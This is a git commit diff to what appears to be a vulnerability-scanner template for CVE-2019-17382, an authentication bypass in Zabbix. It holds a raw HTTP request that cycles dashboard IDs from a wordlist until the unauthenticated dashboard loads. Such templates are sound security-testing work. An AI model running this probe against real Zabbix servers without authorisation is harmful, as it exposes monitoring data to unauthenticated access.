Update CVE-2019-17382.yaml

patch-1
Prince Chaddha 2022-05-17 11:54:41 +05:30 committed by GitHub
parent 597e38e39b
commit 2ff61526d9
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 4 additions and 5 deletions

View File

@ -13,14 +13,13 @@ info:
cvss-score: 9.1
cve-id: CVE-2019-17382
cwe-id: CWE-639
tags: cve,cve2019,zabbix,fuzz,bypass,login
tags: cve,cve2019,zabbix,fuzz,auth-bypass,login
requests:
- raw:
- |
GET /zabbix.php?action=dashboard.view&dashboardid={{ids}} HTTP/1.1
Host: {{Hostname}}
Accept-Language: en-US,en;q=0.9
payloads:
ids: helpers/wordlists/numbers.txt
@ -29,13 +28,13 @@ requests:
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
words:
- "<title>Dashboard</title>"
- type: status
status:
- 200
- type: word
words:
- "<title>Dashboard</title>"
# Enhanced by mp on 2022/05/16